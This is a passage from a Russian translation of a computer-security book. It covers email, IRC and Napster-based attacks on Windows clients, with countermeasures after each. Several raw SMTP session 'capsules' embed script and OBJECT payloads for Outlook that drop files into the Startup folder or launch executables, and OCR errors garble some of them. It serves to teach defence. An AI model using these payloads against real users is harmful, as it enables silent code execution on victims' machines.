Такие "открытые каналы пересылки SMTP" часто используются "спэмерами". Их можно легко отыскать в новостях Usenet или найти на Web-узле http://mail-abuse.org.
Если вместе с сообщением в формате HTML нужно отправить атожение, то сделать это несколько сложнее. Для этого в сообщение необходимо добавить другую часть в формате MIME и закодировать это вложение с помощью спецификации MIME в формат Base64 (см. RFC 2045-49). Лучше всего воспользоваться для этой цели утилитой Джона Майерса (John G. Myers) mpack. Программа mpack изящно добавляет соответствующие заголовки MIME, так что получившийся результат можно сразу отравлять прямо на сервер SMTP. Ниже приведен пример того, как с помощью утилиты mpack зашифровать файл plant.txt и записать полученные данные в файл plant.mim. Параметр -s задает содержимое поля с темой сообщения и не является обязательным.
mpack -s Nasty-gram -о plant.mim plant.txt
Теперь начинается более сложная часть. Этот фрагмент в формате MIME нужно вставить в уже существующее сообщение HTML. Воспользуемся уже знакомым примером, malicia.txt и разделим это сообщение с помощью обычных разделителей MIME в соответствии с тем, как определено в строках Content-type:. Перед разделителями MIME ставится два символа -, а в закрывающих разделителях два этих символа вводится еще и после разделителей. Кроме того, постарайтесь не забыть поместить часть сообщения MIME multipart/alternative (boundary,:), чтобы адресаты смогли расшифровать тело сообщения HTML с помошью программы Outlook. Следует обращать внимание на размещение символов перевода каретки, так как от этого зависит интерпретация сообщения. Заметим, что параметру этого сообщения importance присвоено значение high. Это еще один прием, направленный на заманивание жертвы.
helo somedomain.com
mail from: <mallory@malweary.com>
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_boundaryl_"
--_boundaryl_--
Content-Type: multipart/alternative;
boundary="_boundary2_"
--_boundary2_--
Content-Type: text/html; charset=us-ascii
<HTML>
<h2>Hello World!</h2>
</HTML>
~-_boundary2_--
--_boundaryl_--
Content-Type: application/octet-stream;
name="plant.txt"
Content-ID: <5551212>
Content-Transfer-Encoding: base64
Content-Disposition: inline;
filename="plant.txt"
Content-MD5: Psn+mcJEvOfPwoEc40XYTA==
SSBjb3VsZGEgaGFja2VkIHlhIGJhZCANCg==
--_boundaryl_--
quit
После передачи этого файла с помощью утилиты netcat на доступный сервер SMTP сообщение в формате HTML и с вложенным файлом plant.txt будет доставлено по адресу hapless@victim.net. Чтобы лучше понять применение разделителей MIME в сообщениях, состоящих из нескольких частей, см. раздел 5.1.1 документа RFC 2046. Кроме того, в качестве полезного упражнения можно отправить тестовое сообщение на свой адрес, и просмотреть его с помощью приложения Outlook Express. Затем нужно щелкнуть правой кнопкой на данном сообщении и в контекстном меню выбрать команду Properties>Details>Message Source и просмотреть сообщение в необработанном виде.
В данной главе авторы будут ссылаться на этот метод как на "капсулу для взлома почты". Теперь, чтобы представить себе степень риска, которую на самом деле представляет собой атака через электронную почту, посмотрим, как этот общий метод применяется в некоторых реальных атаках.
Контрмеры против взлома электронной почты
Очевидной мерой является отключение возможности получения почтовым клиентом сообщений в формате HTML. К сожалению, для современных почтовых программ сделать это либо сложно, либо невозможно. Кроме того, следует отключить и возможность использование технологий мобильного кода. В разделе, посвященном описанию зон безопасности, уже упоминалось, как это сделать, но для надежности авторы решили еще раз повторить этот совет. В приложениях Outlook и Outlook Express выберите команду Tools>Options, перейдите во вкладку Security и в раскрывающемся списке группы Secure content выберите зону Restricted Sites, как это показано на рис. 16.2. (Не забывайте, что этот параметр не будет применяться при просмотре Web-страниц в броузере Internet Explorer, в котором используются свои собственные параметры.) Один только этот прием поможет избежать многих перечисленных ниже проблем, поэтому настоятельно рекомендуем воспользоваться этой возможностью.
Безусловно, важно также соблюдать осторожность при работе с вложениями электронных сообщений. Первой инстинктивной реакцией большинства людей на возникновение проблем, подобных появлению вируса 1LOVEYOU (см. ниже), — обвинить во всем разработчика программного обеспечения. Однако на самом деле почтовые программы требуют определенных навыков и со стороны пользователя. Модуль обновления Outlook, который можно получить по адресу http://officeupdate.microsoft.com/
2000/downloadDetails/Out2ksec.htm, усложняет пользователям процесс запуска вложений, заставляя их перед этим по крайней мере два раза щелкать в появляющихся диалоговых окнах (кстати, этот модуль устанавливает еше и зону безопасности Restricted Sites). Как вы увидите немного ниже, это не просто зашита от дураков. Такая мера значительно поднимает барьерную планку для возможных взломщиков. Обычный здравый смысл тоже поможет в этом: не открывайте сообщения и не загружайте вложения, которые пришли от незнакомых людей!
Уязвимость почтовых приложений
Представление большинства людей об Internet связано с наиболее заметной его частью, т.е. с World Wide Web. Однако объем ежедневно отправляемых электронных сообщений, по-видимому, превышает трафик Web. Таким образом, электронная почта является автономным эффективным средством, входящим в набор пользователя Internet, которое помогает ему комфортно чувствовать себя в киберпространстве. Интересен тот факт, что два чрезвычайно популярных протокола Internet, HTTP и SMTP, имеют много точек соприкосновения, что чрезвычайно увеличивает потенциальную опасность. Сообщения электронной почты в формате HTML — эффективное средство направленного взлома многих броузеров. Для подобных атак можно применять многие из ранее описанных методов, а возможно, и какие-то другие. Добавьте в электронные сообщения небольшого количества мобильного кода — и процесс проникновения в системы доверчивых пользователей станет во многом похож на детскую игру.
Хотя в этом разделе речь идет исключительно об электронной почте, ясно, что описываемые приемы можно применить и к сообщениям групп новостей Internet. Такая тактика может привести даже к еще более массовым разрушениям, чем "спэм", при котором используются данные методы.
Уязвимость службы IRC
Internet Relay Chat (IRC) является одним из наиболее популярных приложений Internet. Эта программа привлекает пользователей не только тем, что они могут общаться в реальном времени, но и возможностью без задержки обмениваться файлами с помощью самых современных клиентских программ IRC (авторы отдают предпочтение mIRC). Вот здесь-то и начинаются проблемы.
Нередко новичков IRC смущают частые предложения поделиться с ними файлами, поступающие от других пользователей, участвующих в канале связи. У многих из них достаточно здравого смысла, чтобы отказаться от предложений абсолютно незнакомых людей. Однако сама атмосфера IRC способствует быстрому завязыванию дружбы и переходу к менее формальным отношениям. Родственник одного из авторов попался на такую удочку, и его жесткий диск был отформатирован простеньким командным файлом. Имя родственника здесь не приводится в целях сохранения анонимности и репутации автора. Вскоре вы сами сможете убедиться в том, что эта проблема, как и проблема "невинных" вложений электронной почты, на самом деле оказывается гораздо более серьезной.
Взлом DCC
Интересная дискуссия по поводу описываемой в данном разделе атаки завязалась в списке рассылки Incidents на Web-узле http://www.securityfocus.com (обзор за 10-11 июля 2000 года, №2000-131). Вот поучительная история: любопытному пользователю предложили получить файл по прямому каналу DCC (DCC — direct client to client) (в службе IRC используются методы под названием DCC Send и DCC Get, предназначенные для установки прямого соединения с другим клиентом IRC и передачи/приема файлов с использованием этого соединения, а не сети IRC). Файл назывался LIFE_STAGES.TXT. (Где же он нам встречался? Загляните-ка в один из предыдущих разделов, в котором описываются вложения файлов . SHS Windows.). Ясно, что это была либо очевидная попытка причинить вред, либо автоматизированная атака, выполняемая с использованием взломанного клиента IRC без ведома его хозяина.
Это одна из особенностей IRC, быстро обезоруживающая новых пользователей. Попав к какому-либо клиенту 1RC, вирусы-"черви" могут упаковывать себя в сценарии и рассылаться по каналу DCC каждому, кто к нему подключен. При этом пользователь за терминалом может даже ни о чем не догадываться.
Более того, похоже, что этот обсуждаемый в списке Incidents "червь" был способен автоматически игнорировать каналы, в которых дискутировались вопросы защиты от вирусов. Также автоматически игнорировались собеседники, упоминающие в своих сообщениях такие понятия, как "infected", "life-stages", "remove", "virus" и многие другие предостерегающие слова. Поэтому, если пользователь не отключит функцию автоматического игнорирования, может пройти немало времени, прежде чем его смогут предупредить об этой опасности.
Контрмеры
К счастью, большинство клиентов IRC по умолчанию загружают файлы, передаваемые по DCC, в заданный пользователем каталог. После получения файла пользователь должен зайти в этот каталог и запустить файл вручную.
Также как и к вложениям электронной почты, к файлам, переданным по каналу DCC, следует подходить с большим скептицизмом. Кроме обычных "нарушителей" (файлов с расширениями .ВАТ, .сом, . EXE, . V3S и . DLL), обращайте внимание также на документы Microsoft Office, в которых могут содержаться опасные макросы, а также на различные средства автоматизации, способные захватить контроль над клиентским приложением. Для проверки этих файлов мы настоятельно рекомендуем использовать антивирусные программы.
Обычно попытки выслеживания зловредных пользователей IRC являются абсолютно бесполезным занятием и попросту приводят к потере времени. В дискуссии, которая проводилась в списке Incidents, упоминалось о том, что большинство взломщиков подсоединяются к каналу IRC с помощью виртуальных узлов и BNC (IRC Bouncer; по существу, это proxy-сервер службы IRC). Таким образом, отслеживай;;: пути прохождения пакета в обратном порядке позволит выявить IP-адрес не сидяи:гг: за терминалом пользователя, а сервера ВМС.
Взлом Napster с помощью программы Wrapster
Хотя авторы и не считают, что приложения Napster и Wrapster в настоящее время представляют большую угрозу для безопасности, они полагают, что оба программных продукта в значительной мере обладают отличительными особенностями программ, имеющих отношение к хакингу. Именно поэтому о них следует упомянуть в данной книге. Те читатели, кто знает, о чем пойдет речь в этом разделе, могут сразу перейти к следующему. А тем, кто ничего не слышал хотя бы об одной из этих программ, стоит с ними познакомиться. Всем, независимо от отношения к проблемам интеллектуальной собственности и авторского права, будет полезно узнать о необычайном удобстве, богатстве выбора и настоящем удовольствии, предоставляемом программой Napster.
Еще один пример программного продукта, по вине которого могут возникнуть проблемы нарушения безопасности, вызванные сочетанием его мощи и популярности, — революционное изобретение для сетевого обмена файлами компании Napster (http://www. napster.com). Пакет Napster представляет собой разновидность типичного средства обмена файлами на платформе клиент/сервер. При этом сервер функционирует в качестве централизованного индексного указателя аудиофайлов в формате МРЗ, которые хранятся на жестких дисках всех пользователей, подсоединившихся к сети с помощью клиентской программы Napster. В индексном указателе пользователи могут выполнять поиск МРЗ-файлов. которые они хотят загрузить, а сервер соединяет их клиентскую программу непосредственно с тем пользователем, на диске которого хранятся требуемые файлы. Таким образом, все пользователи, желающие принять участие в обмене, должны выделить какой-то участок своего жесткого диска и предоставить остальным право чтения/записи.
Чтобы предотвратить возможность распространения опасных программ, компания Napster пытается устранять из сети файлы, формат которых отличен от МРЗ. Для этого выполняется проверка бинарных заголовков файлов, предназначенных для копирования, на их соответствие формату МРЗ. В версиях Napster, выпушенных после появления бета-версии 6, применяется новый алгоритм проверки, в котором наряду с заголовком файла проверяется еще и его содержимое.
Как и следовало ожидать, та же человеческая изобретательность, благодаря которой появилось программа Napster, вскоре нашла способ скрытой передачи по сети файлов в формате, отличном от МРЗ. Программа Wrapster, автором которой является Октавиан (Octavian), скрывает типы файлов, выдавая их за подлинные файлы МРЗ, "закодированные" с определенной скоростью передачи битов (32 Кбит/с). Такая маскировка позволяет подобным файлам рассматриваться сетью Napster как МРЗ. Те, кто хочет увидеть результат работы Wrapster, могут просто выполнить в сети Napster поиск файлов с указанной выше скоростью передачи битов, что приведет к обнаружению всех имеющихся файлов Wrapster. Или, если известно, какими файлами обменивались ваши друзья, можно выполнить поиск по имени и скорости передачи битов. Теперь у нас есть сеть для обмена популярными музыкальными файлами и механизм создания программ типа "троянский конь", облаченных в музыкальный формат. Кто-то из читателей уже увидел причину для беспокойства?
К счастью, для запуска файлов Wrapster требуется, чтобы сначала были извлечены псевдофайлы МРЗ с помощью вспомогательного приложения. Обычный двойной щелчок на закодированном программой Wrapster файле приведет к тому, что его попытается открыть установленная в системе программа проигрывания музыкальных файлов. При этом он будет признан как ложный МРЗ и загрузить его .не удастся. Это избавляет пользователя от необходимости разработки или освоения технологии, позволяющей определять степень опасности вложенного файла. Стоит еще раз вспомнить известную истину: единственным барьером, разделяющим великие вещи (свободно распространяемую музыку) от программ, неожиданно форматирующих жесткие диски, является человеческая этика.
Появились сведения о том, что различные клоны пакета Napster, распространяющиеся через открытые источники, обладают изъяном. Он позволяет взломщикам просматривать файлы на том компьютере, на котором запущена уязвимая клиентская программа Napster (в официальных коммерческих версиях этот изъян отсутствует).
Запись вложений на диск без участия пользователя
До сих пор речь шла о различных механизмах запуска файлов, которые можно обманным путем поместить на удаленный диск пользователя. Описанные выше виды взлома были рассчитаны на определенные исполняемые файлы (расположенные либо на удаленном сервере, либо на диске пользователя), выполняющие свою грязную работу. А что, если взломщик имеет возможность записывать на диск выбранной жертвы свои файлы? Пользуясь этим, можно разработать завершенный способ доставки в систему пользователя и запуска в ней файлов, реализующих взлом.
Перехват функции Save As программ Excel и PowerPoint
Фокус, лежащий в основе этого взлома, был придуман Георгием Гунински, который остроумно воспользовался функцией SaveAs программ Excel и PowerPoint. Как только документ Office с помощью дескриптора OBJECT вызывается в программе Internet Explorer (об этом уже упоминалось выше), появляется возможность сохранить данные в произвольном месте диска. В своей реализации этой идеи Георгий сохраняет данные, извлеченные из файла Bookl.xi.r-. Он является обычным файлом в формате Excel с расширением .xla. Если такой файл поместить в папку Startup, то во время загрузки системы он будет запущен.
В следующем примере приведен слегка измененный код Георгия, помешенный в уже знакомую капсулу для взлома электронной почты.
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: Check this out!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
<HTML>
<h2>Enticing message here!</h2>
id="shl" width=0
height=0>
</object>
<SCRIPT>
function f()
{
fn=" D:\\test\\georgi-xla.hta";
shl.object.SaveAs(fn,6);
alert(fn+" successfully written"};
}
setTimeout{"f()",5000);
</SCRIPT>
</HTML>
quit
Написанный Георгием код расположен между дескрипторами <object> и </SCRlPT>. Изменения внесены таким образом, чтобы указать полный адрес URL файла Bookl.xla (в первоначальной реализации этот файл был доступен непосредственно на Web-сервере). Содержимое Bookl.xla записывается в файл, указанный в строке fn=. Из исходного кода Георгия удалены также строки комментариев, в которых указано, как сохранить этот файл (предполагается, что об этом нетрудно догадаться). Просмотр этого сообщения в программе Outlook Express системы NT4 с зоной, для которой задан уровень безопасности Low, приведет к неожиданному появлению на короткое время окна передачи файла, вслед за которым появится следующее сообщение.
Здесь авторы в качестве материала воспользовались уже готовым файлом Георгия Bookl.xla. Этот файл абсолютно безобиден. В нем содержится код длиной в пару строк, который при запуске выводит в окне DOS сообщение Hello World. Однако ввиду увеличения числа серверов, предоставляющих услуги по анонимному хранению файлов, хакеру-злоумышленнику будет совсем несложно создать свой собственный документ Office и обеспечить его загрузку. Готовой базой для размещения таких файлов также могут быть плохо настроенные или взломанные серверы FTP.
Меры предосторожности против записи файлов с помощью программ Excel и PowerPoint
Стоит ли повторять еще раз? Воспользуйтесь соответствующими модулями обновления, которые можно найти на Web-узле по адресу http://www.microsoft.com/ technet/security/bulletin/MS00-049. asp. Установка этих модулей обновления приведет к тому, что документы Excel и PowerPoint будут помечены как "unsafe for scripting" (пожалуйста, не торопитесь смеяться). Конечно, можно совсем запретить использование элементов управления ActiveX, как описано в разделе, посвященном зонам безопасности, тем самым раз и навсегда закупорив эту злосчастную брешь.
Вложения с принудительной загрузкой
Для описанного на Web-узле http://4-ww.malware.com способа загрузки файла на диск пользователя без его разрешения на этом же узле было предложено название принудительная загрузка (force feeding). Сущность данного подхода состоит в том, что, как утверждают специалисты, Outlook/OE игнорирует ответ пользователя на вопрос о том, что делать с файлом вложения электронного сообщения. Обычно, когда присоединенный файл запускается из почтовой программы, пользователю предоставляется три варианта действий: Open, Save To Disk или Cancel. Согласно утверждению, приведенному на узле malware.com, независимо от выбора пользователя вложение будет записано в каталог Windows %temp% (С: \Windows\temp — в Win 9x и С: \temp — в NT). Временные каталоги в Win 2000 настраиваются по усмотрению пользователя, поэтому, если эта система устанавливалась "с нуля", а не поверх предыдущих версий, определить их местоположение сложнее. Поместив требуемые файлы в систему пользователя, их можно запустить с помощью специального дескриптора HTTP. При этом броузеру скрытно и автоматически будет передана страница, указанная в дескрипторе. Например,
<МЕТА HTTP-EQUIV="refresh"
content="2;URL=http://www.othersite.com">
Этот код, помещенный на Web-страницу, перенаправит броузер на Web-узел www.othersite.com. Параметр context= задает интервал ожидания, по истечении которого броузером будет выполнен заданный переход. Для принудительной загрузки операторы узла malware.com выбрали один из их локальных файлов и поместили его адрес в дескриптор.
<meta http-equiv="refresh" content="5;
url=mhtml:file://С:\WINDOWS\TEMP\lunar.mhtml">
В файле lunar.mhtml, который был вложен в сообщение и загружен без согласия пользователя, содержится ссылка на элемент управления ActiveX, помеченный флагом "safe for scripting", который запускает второй присоединенный файл. Он представляет собой исполняемый файл с именем mars . exe. В обход, но достаточно эффективно.
Во время возникшей в бюллетене Bugtraq дискуссии по поводу этой находки по крайней мере два авторитетных специалиста по вопросам'безопасности высказались против того, что описанный подход будет работать именно так, как предполагается. Тестирование, предпринятое авторами данной книги, проходило с переменным успехом. Даже при условии, что для соответствующих зон IE (см. предыдущие разделы), используемых также для чтения почтовых сообщений в программах Outlook/OE, был установлен уровень безопасности Low, положительного эффекта удавалось добиться не всегда. Успешная принудительная загрузка вложений происходила во временный каталог систем Win 98 SE и NT4 Workstation, в которых для зон был установлен уровень безопасности Low, но это происходило не всегда. Тайна принудительной загрузки по рецепту malware.com пока остается неразгаданной.
Это обстоятельство слегка утешает. Пугает сама мысль о тех неприятностях, к которым мог бы привести такой подход в случае его применения совместно с методом Георгия Гунински, позволяющим запускать документы MS Office. Взломщики смогли бы посылать документы Office, содержащие в виде вложений злонамеренный код. Затем они могли бы послать второе сообщение, заключающее в своем теле соответствующие дескрипторы, которые указывали бы на каталог %temp%, где уже находилось бы принудительно загруженное вложение. (По существу, Георгий добивался того же результата, но с использованием одного сообщения. См. описание следующей атаки.)
Конечно же, как уже упоминалось, доступность служб, предоставляющих возможность бесплатного и анонимного хранения файлов в Internet, избавляет от необходимости зафузки кода на локальный диск. Указав в своих сообщениях адрес одного из таких хранилищ, хакер сразу же обеспечивает доступность второго компонента. При этом самого взломщика выследить практически невозможно.
Запись вложения в каталог TEMP с помощью дескриптора I FRAME
Данный метод, который в 2000 году был опубликован Георгием в девятом номере его информационного бюллетеня , продемонстрировал дальновидность его автора, которому удалось умело воспользоваться, казалось бы, незначительными проблемами. Предложенный подход основан на том, что программы Outlook и Outlook Express создают в каталоге TEMP файлы с известным именем и произвольным содержимым, что очень похоже на механизм, созданный на узле malware.com. Однако, использовав другие свои разработки, в число которых входит использование изъяна, позволяющего запускать ярлыки файлов справочной системы Windows , и дескрипторы IFRAME, Георгий разработал, по-видимому, непревзойденный непротиворечивый механизм доставки кода и его последующего запуска. Поэтому авторы присвоили этому методу степень риска, равную восьми, т.е. наивысшую среди рассматриваемых. Он гораздо ближе других алгоритмов подошел к тому, чтобы стать целостным пакетом, предоставляя возможность записи файла на диск и запуска этого файла без необходимости какого-либо вмешательства пользователя.
Фокус состоит в использовании в теле почтового сообщения дескриптора I FRAME, в котором содержится ссылка на вложение этого же сообщения. По какой-то причине, возможно, известной лишь Георгию, когда i FRAME "прикасается" к вложенному файлу, он сохраняется на диске. Затем этот файл легко вызвать из сценария, помешенного в тело этого же сообщения. В своей реализации Георгий записывает файл .СНМ, который элегантно сконфигурирован для запуска редактора Wordpad.exe с помощью команды "shortcut".
Ниже представлена капсула, демонстрирующая применение описанного подхода. Обратите внимание на то, что файл СНМ должен быть упакован с помощью утилиты mpack (см. раздел "Сто и один способ взлома электронной почты").
helo somedoir.ain.com
mail from: <mallory@attacker.net>
rcpt to: <hapless@victim.net>
data
subject: This one takes the cake!
Importance: high
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_boundaryl_"
--_boundaryl_--
Content-Type: multipart/alternative,
boundsry="_boundary2_"
--_boundary2_--
Content-Type: text/html; charset=us-ascii
<IFRAME align=3Dbaseline alt=3D"" =
border=3DO hspace=3DO=20
src=3D"cid:5551212"></IFRAME>
<SCRIPT>
setTimeout('window.showHelp
("c:/windows/temp/abcde.chm");',1000);
setTimeout('window.showHelp
("c:/temp/abcde.chm");',1000};
setTimeout('window.showHelp
("C:/docume-l/admini~l/locals~l/temp/abcde.
chm"} ;
',1000} ; </SCRIPT>
--_boundary2 --
--_boundaryl_--
Content-Type: application/binary;
name="abcde.chm"
Content-ID: <5551212>
Content-Transfer-Encoding: base64
[Закодируйте файл abode.chm с
помощью утилиты mpack и вставьте его здесь]
—_boundaryl_—
quit
В процессе тестирования, выполненного авторами на программах Outlook и Outlook Express, установленных в системах Windows 9x, NT и 2000, этот метод работал безотказно, чаще всего в режиме предварительного просмотра. Строки, которые начинаются с setTimeout, задают каталог каждой из трех операционных систем. Сможете ли вы установить между ними соответствие?
Одним из ключевых элементов приведенного листинга является поле Content-ID. В нашем примере в этом поле введено число 5551212. Параметр scr дескриптора IFRAME, который содержится в теле сообщения, ссылается на идентификатор вложения этого сообщения, имеющего формат MIME. При этом возникает остроумно задуманная циклическая ссылка, позволяющая записать вложение на диск и обратиться к нему из одного и того же почтового сообщения.
Контрмеры против использования дескрипторах FRAME
Единственной защитой против атак такого рода является осторожное обращение с элементами управления ActiveX, как упоминалось в разделе, посвященном зонам безопасности. О выпуске соответствующего модуля обновления компания Microsoft не позаботилась.
Запуск произвольного кода с помощью электронной почты
При описании следующих атак будут продемонстрированы различные механизмы запуска команд на целевом компьютере. Многие из них приводятся в действие при открытии коварных сообщений или их предварительном просмотре в соответствующей части окна программ Outlook и Outlook Express.
Атаки с использованием элементов ActiveX, помеченных как "safe for scripting"
Взломщики не могли выдумать ничего более убийственного: все, что нужно сделать жертве, — это просто прочитать сообщение (или просмотреть его в окне предварительного просмотра программ Outlook и Outlook Express, если такая возможность имеется). При этом со стороны пользователя не требуется никакого вмешательства. Эта чудовищная "простота" снова появилась благодаря элементу управления Scriptlet. typelib, помеченному как "safe for scripting" (более подробно этот вопрос обсуждается в разделе, посвященном элементам ActiveX). С такой же легкостью можно использовать Eyegod.ocx, но метод, рассматриваемый в данном разделе, основан на применении проверочного кода Георгия Гунински, в котором используется элемент управления Scriptlet. typelib. Напомним, что Георгий поместил этот код на своем Web-узле. Ниже приведена слегка модифицированная версия этого кода, вставленного в капсулу для взлома почты.
helo somedomain.com
mail from: <mallory@malweary.com>
rcpt to: <hapless@victim.net>
data
subject: Ya gotta read this!
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
If you have received this message in error, please delete it.
<object id="scr"
classid="clsid:06290BD5-48AA-llD2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\WIN98\\start
menu\\programs\\startup\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CFO-11DO-ADB9-
OOC04FD58AOB'x/object><SCRIPT>alert
{
' Written by Georgi Guninski
);</" + "SCRIP
T>";
scr.write ();
</SCRIPT>
</object>
quit
Этот код проводит атаку в два этапа. Во-первых, он создает в папке Startup на компьютере пользователя файл приложения HTML (с расширением .НТА) и записывает в него содержимое сценария. Этот файл создается почти незаметно для пользователя, пока он просматривает сообщение (если внимательно следить за световым индикатором жесткого диска, то можно заметить его мерцание). Вот как выглядит наше тестовое сообщение в папке inbox (ниже на рисунке показано окно программы Outlook Express). Для завершения взлома достаточно отобразить сообщение в окне предварительного просмотра.
Следующий этап произойдет, когда пользователь перезагрузит компьютер. Рано или поздно это неизбежно случится. Конечно же, можно написать такой сценарий, который сам выполнял бы перезагрузку. При этом запустится файл .НТА (данные файлы автоматически интерпретируются командной оболочкой Windows). В нашем случае пользователь получит следующее "приветственное" сообщение.
Эти безобидные действия — одна из многих реализаций в безбрежном море возможностей. В подобной ситуации жертва полностью находится в руках взломщика.
Действие так называемого червя КАК основано на уязвимости Scriptlet, который тоже можно использовать для охоты на доверчивых (и не пользующихся модулями обновления) пользователей Outlook и ОЕ. Более подробную информацию о "черве" КАК можно найти по адресу http://www.syiri.antec.com/avcenter/venc/data/wscript. kakworm.html.
Контрмеры
Примените модули обновления для компонентов ActiveX Scriptlet и Eyedog, которые можно получить по адресу http://www.microsoft.com/technet/security/ bulletin/ms99-032.asp.
Еще раз следует напомнить, что данные модули обновления позволят устранить проблему, связанную только с данными компонентами. Более универсальной мерой является отключение в программах электронной почты возможности применения элементов управления ActiveX. Используемая для этого процедура описана в разделе, в котором рассматриваются зоны безопасности.
"Запуск" документов MS Office с помощью элементов ActiveX
Георгий Гунински не ограничил свои изыскания использованием дескрипторов HTML в электронном сообщении для загрузки потенциально опасных элементов управления ActiveX. В последующих информационных сообщениях, опубликованных на его узле, сообщается, что с помощью этого же метода могут быть "запущены" и потенци-ачьно опасные документы Microsoft Office ("поведение" этих документов очень похоже на поведение элементов управления ActiveX). С результатами исследований можно ознакомиться по адресу http://www.nat.bg/-joro/sheetex-desc.html (для документов Excel и PowerPoint) и http://www.nat.bg/~joro/access-desc.html (здесь описывается процедура запуска кода VBA, содержащегося в базах данных Access).
Руководствуясь двумя соображениями, в этом разделе будет рассмотрена вторая из этих возможностей. Во-первых, вопросы, связанные с Excel и PowerPoint, более интересны ввиду способности этих приложений незаметно записывать файлы на диск, что будет обсуждаться в последующих разделах. Во-вторых, изъян, основанный на использовании Access, по мнению большинства специалистов в области обеспечения безопасности, является более серьезным, поскольку справиться с ним не помогают все те меры предосторожности, которые применяются для защиты от элементов управления ActiveX. Даже если полностью запретить их использование, система все равно остается уязвимой. Вот как высоко оценили серьезность этой проблемы специалисты института SANS: "Возможно, это одна из самых опасных ошибок, допущенных компанией Microsoft в программах для рабочих станций Windows (всего ряда — 95. 98, 2000, NT 4.0)". Грустно, что это замечание, которое на первый взгляд наполнено сенсуализмом, на самом деле может оказаться не так далеко от истины.
Проблема заключается в том способе, который в системе Windows используется для проверки файлов Access (.MDB) при их загрузке в Internet Explorer с помощью дескриптора OBJECT, как показано в следующем фрагменте кода HTML, предоставленного Георгием Гунински.
OBJECT data="db3.mdb" id="dl"></OBJECT>
Как только программа Internet Explorer встречает дескриптор объекта, загружается база данных Access, имя которой задано в параметре data=, а затем для ее открытия вызывается программа Access. Это происходит перед тем, как пользователь получит предупреждение о потенциальной опасности, которая при этом может возникнуть. Таким образом, база данных будет запущена независимо от того, настроен IE/Outlook/ОЕ для запуска элементов управления ActiveX или нет. Ну и дела!
Пример Георгия основан на применении удаленного файла с именем db3.mdb, который он разместил на своем Web-узле. Этот файл представляет собой базу данных Access. где находится одна форма, запускающая текстовый редактор Wordpad. Вот еще одна капсула для взлома электронной почты, демонстрирующая, как можно реализовать эту атаку.
helo some domain, corn
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: And another thing!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
<HTML>
<h2>Enticing message here!</h2>
id="dl"x/OBJECT>
</HTML>
quit
В этом примере явно задан URL файла db3.mdb (строка 12), чтобы можно было использовать его в сообщении электронной почты. Институтом SANS было выдвинуто требование, чтобы при доступе и совместном использовании файлов Access через Internet применялся протокол SMB. Просто поразительно, сколько FTP-серверов предоставляет свои ресурсы для бесконтрольного размещения данных и доступа к ним. В следующих разделах указаны другие места хранения данных, которые могут заинтересовать взломщиков.
Основной особенностью атак этого типа является то, что обработка этих простых дескрипторов программами IE/Outlook/ОЕ приводит к запуску файлов, в которых содержится мощный макрос VBA. При этом не требуется какого-либо вмешательства пользователя. Неужели такая перспектива еще никого не встревожила?
Контрмеры: задание пароля администратора Ассеss
Запрещение использования элементов управления ActiveX не предотвратит возможности реализации описанных атак. Поэтому нужно применить модуль обновления в соответствии с инструкциями, приведенными по адресу http://www.microsoft.com/-technet/security/bulletin/MS00-049.asp. Особое внимание следует обратить на модуль обновления, предназначенный специально для устранения проблемы, связанной с Access (компания Microsoft назвала ее изъяном "сценария IE" ("IE Script")).
Компания Microsoft рекомендует также воспользоваться следующим средством, которое будет полезно независимо от того, был ли установлен модуль обновления. Для программы Access нужно установить пароль администратора (по умолчанию он не используется). Выполните для этого следующие действия.
1. Запустите Access 2000, но не открывайте никаких баз данных.
2. Выберите команду Tools>Security.
3. Выберите пункт User And Group Accounts.
4. Выберите пользователя Admin, который должен существовать по умолчанию.
5. Перейдите во вкладку Change Logon Password.
6. Если до этого не были внесены никакие изменения, пароль администратора должен быть пустым.
7. Введите пароль администратора.
8. Для выхода щелкните на кнопке ОК.
Это должно предотвратить возможность запуска злонамеренного кода VBA и его работы с высокими привилегиями. Специалисты SANS также отметили, что блокирование брандмауэром исходящих запросов на совместное использование файлов Windows (порты TCP 139 и TCP 445) позволит уменьшить вероятность необдуманного запуска пользователями удаленного кода.
Запуск файлов с помощью ненулевого параметра CLSID элементов ActiveX
Причиной выявления данного изъяна послужило вскользь сделанное замечание в дискуссии, которая велась в бюллетене Bugtraq по поводу уязвимости, обусловленной "навязыванием" файла вложения (см. ниже), которую предложили реализовать на узле malware. com. Велд Понд (Weld Pond), высококлассный хакер из группы LOpht, прославившийся благодаря утилите netcat для NT (см. главу 5), завел со своим коллегой Oil Dog из группы "Cult of Dead Cow", знаменитым автором программы Back Orifice 2000 (см. главы 4 и 14), разговор о механизме запуска файлов, навязанных пользователям по методике malware.com. Оказывается, можно запустить любой файл, поместив в тело электронного сообщения дескриптор OBJECT и сконфигурировав его с помощью ненулевого параметра CLSID. При этом в мишень превращается каждый исполняемый файл, находящийся на диске пользователя. Ниже приведен пример соответствующей капсулы для взлома электронной почты.
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
<HTML>
<HEAD>
</HEAD>
<BODY>
<OBJECT CLASSID='CLSID:
10000000-0000-0000-0000-000000000000'
CODEBASE='с:\windows\calc.exe'X/OBJECT>
</BODYX/HTML>
quit
Обратите внимание на ненулевой параметр CLSID. Именно он приводит в действие весь механизм. Файл, который будет запущен, задается параметром CODEBASE.
